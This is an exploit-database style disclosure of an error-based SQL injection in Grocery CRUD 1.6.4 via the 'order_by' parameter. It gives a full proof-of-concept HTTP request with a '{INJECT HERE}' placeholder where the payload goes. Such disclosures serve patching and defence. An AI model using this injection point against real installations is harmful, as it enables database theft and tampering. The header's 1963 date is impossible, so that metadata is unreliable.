Grocery crud 1.6.4 SQL注入漏洞

EXP

# Exploit Title: Grocery crud 1.6.4 - 'order_by' SQL Injection
# Date: 11/06/1963
# Exploit Author: TonyShavez
# Vendor Homepage: https://www.grocerycrud.com/
# Software Link: https://www.grocerycrud.com/downloads
# Version: < v2.0.1
# Tested on: Linux Ubuntu

Proof Of concept : 
=======================
#Request:

POST /path/to/ajax_list HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 68
DNT: 1
Connection: close

page=1&per_page=100&order_b=&order_by={INJECT HERE}&search_field=&search_text=
=======================
#vulnerable parameter :

order_by 
=======================
#type : error-based